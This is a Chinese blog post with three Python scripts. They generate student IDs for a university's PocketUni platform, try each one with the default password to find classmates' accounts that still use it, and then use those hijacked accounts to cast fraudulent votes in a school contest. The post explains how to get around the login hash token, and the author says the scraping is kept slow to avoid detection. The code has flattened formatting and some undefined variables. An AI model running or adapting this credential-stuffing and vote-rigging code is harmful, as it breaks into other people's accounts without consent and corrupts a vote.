前言：因為班級參加學校一些活動在PU上舉辦，但是又不想接受這種推廣，遂花幾天用python3寫了個自動投票，想學習的可以一起探討下，但是這個代碼恐怕不寫python的人也用不了。。。
寫博客主要為了給自己做筆記，省得老忘記實現過程
準備工作：學校各學院的學號加初始密碼，總有一些寶寶用初始密碼，而學號直接推倒就可得出。
要實現的東西：1、實現自動登錄，從大量學號中跑出可登錄的學號（使用初始密碼的用戶）并保存留用；2、利用這些學號根據投票活動選擇出要投票的學院的PID；3、模仿JS點擊事件投票。
鑒于這也不算很正當行為，防止給PU服務器造成負擔，爬蟲每天盡量慢盡量少的訪問PU服務器。。。也是防止被人發現刷票
批量生成學號：
# huoqunumber.py 用于創建number初始列表 # 保存在startnumber.txt里面import osfileObject = open("startnumber.txt", "a")numberIn = [15040100, 15040200, 15040500, 15040700, 15040900, 15040300, 15040400, 15040600, 15040800]for i in range(0, 1): for x in range(1,39): numberIn[i] = numberIn[i] + 1 numberOut = "B" + str(numberIn4[i]) fileObject.write(numberOut) # fileObject.write("/n")fileObject.close()這部分主要就是I/O流的操作，number數組存放各學院班級的第一個學號，依次生成整個院的學號并保存待用。
爬蟲嘗試登陸PU并保存可以登錄的賬號：
#numbersaved.py 用于獲取可登錄number列表# 保存在numberSaved.txtimport requestsimport urllib.requestimport reimport configparserfrom pPRint import pprintfrom bs4 import BeautifulSoup # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'} # 瀏覽器頭headers = {'User-Agent': 'Mozilla/5.0 (iphone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/535.11 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/535.11'} #手機headers# 拿到不斷更新的hashdef getHash(): firstURL = "http://pocketuni.net/njupt/login/" request = urllib.request.Request(firstURL, headers=headers) response = urllib.request.urlopen(request) content = response.read() pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S) __hash__ = pattern.findall(str(content, encoding = "utf-8")) return __hash__[0]# 登錄并返回cookieLendef create_session(loginURL, data): session = requests.session() login = session.post(loginURL, loginData, headers=headers) cookiesLen = len(login.cookies) print(login.cookies) return session, cookiesLenif __name__ == '__main__': count = 0 # 統計拿到多少可用賬號 loginUrl = "http://pocketuni.net/index.php?app=home&mod=Public&act=doLogin&school=njupt" file_object = open('B140413.txt', 'r') file_number = open("B140413login.txt", "a") file_nonumber = open("B140413nologin.txt", "a") school = "南京郵電大學" sid = "592" passWord = "123456" login = "登 錄" while True: # 按字節讀文件 try: number = file_object.read(9) print(type(number)) __hash__ = getHash() loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]} session,cookiesLen = create_session(loginUrl, loginData) print(cookiesLen) if cookiesLen == 0: # 通過判斷cookieLen得知是否登錄成功 print(cookiesLen) file_number.write(number + "/n") count += 1 except Exception as e: print(e) if not number: break file_object.close() file_number.close() print("登錄了" + str(count) + "個number！") 這里寫代碼片登錄部分主要是從上一步驟中拿到的文件中按字符讀取學號，并帶上瀏覽器的頭headers向form表單post登錄所需信息
loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]}難點一：其中hash是為了防止惡意爬取做的隨機數，每次刷新網頁就會更新，所以首先要解決的就是動態獲取hash的值，方法： 拿到登錄頁面的html并正則匹配出hash的值并返回，這個時候要注意的就是拿到的html是字節流，也就是所謂的亂碼，我們要進行轉換成str，然后才可以進行匹配，如果這里有疑惑可以查看此處：python3 decode與encode
http://www.cnblogs.com/tingyugetc/p/5727383.html
pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S)__hash__ = pattern.findall(str(content, encoding = "utf-8"))難點二：如何判斷是否登錄成功。最開始我以為只要拿到狀態碼200即是登錄成功，其實只要對方服務器進行回應那就是200了，所以這個方法顯然不能證明成功登陸了，后來發現登錄成功與否拿到的cookie的長度是不一樣的，當cookieLen=0的時候是成功登陸否則是不成功。
登錄：
session = requests.session()login = session.post(loginURL, loginData, headers=headers)獲取cookieLen：
cookiesLen = len(login.cookies)判斷一下cookieLen，若為0則證明可以登錄保存下來。
接下來是模仿JS發送投票請求（PU要求沒人投滿六個才算數）
# pachong.pyimport requestsimport urllib.requestimport reimport configparserfrom pprint import pprintfrom bs4 import BeautifulSoup # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'}headers = {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/535.11 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/535.11'}def getHash(): firstURL = "http://pocketuni.net/njupt/login/" request = urllib.request.Request(firstURL, headers=headers) response = urllib.request.urlopen(request) content = response.read() pattern = re.compile(r'name=/"__hash__/" value=/"(.*?)/"', re.S) __hash__ = pattern.findall(str(content, encoding = "utf-8")) return __hash__[0]def create_session(loginURL, data): session = requests.session() login = session.post(loginURL, loginData, headers=headers) print(login.cookies) return session# 投票函數def toupiao(toupiaoUrl, session, toupiaoData): login = session.post(toupiaoUrl, toupiaoData, headers = headers) return login.cookiesif __name__ == '__main__': count = 0 loginUrl = "http://pocketuni.net/index.php?app=home&mod=Public&act=doLogin&school=njupt" file_object = open('numbersaved.txt', 'rb') school = "南京郵電大學" sid = "592" password = "111111" login = "登 錄" toupiaoUrl = "http://njupt.pocketuni.net/index.php?app=event&mod=Front&act=vote" pids = ["98359", "99982", "99957", "99420", "93253", "98681"] while True: try: number = file_object.read(9) __hash__ = getHash() loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]} session = create_session(loginUrl, loginData) for pid in pids: toupiaoData = {'id':idd, 'pid':pid} toupiao(toupiaoUrl, session, toupiaoData) except Exception as e: print(e) count+=1 if not number: break file_object.close() print("投票數：" + str(count))此處發送登錄請求與huoqunumber.py是相同的，此處讀取的賬號列表是huoqunumber.py得到的可登錄列表。
向toupiaourl頁面的form表單帶headers發送數據：
login = session.post(toupiaoUrl, toupiaoData, headers = headers)因為要投票滿6個院，所以遍歷pid，此處的pid則是學院的唯一標識，一定要找到自己的學院并右鍵檢查拿到pid放入列表中！
for pid in pids: toupiaoData = {'id':idd, 'pid':pid} toupiao(toupiaoUrl, session, toupiaoData)重要的三個py文件已經貼出，使用順序：
huoqunumber.py --> numbersaved.py --> pachong.pyhuoqunumber.py得到的初始化學號，numbersaved.py利用其得到可以登錄的學號（即初始化密碼沒有修改的同學），pachong.py利用numbersaved.py拿到的可登錄賬號登陸并進行投票。
結語：當時三天的糾結忘記的差不多了，就記得幾個重要的點，代碼也是隨時想到哪里寫到哪里凌亂的不行。。。
新聞熱點
疑難解答
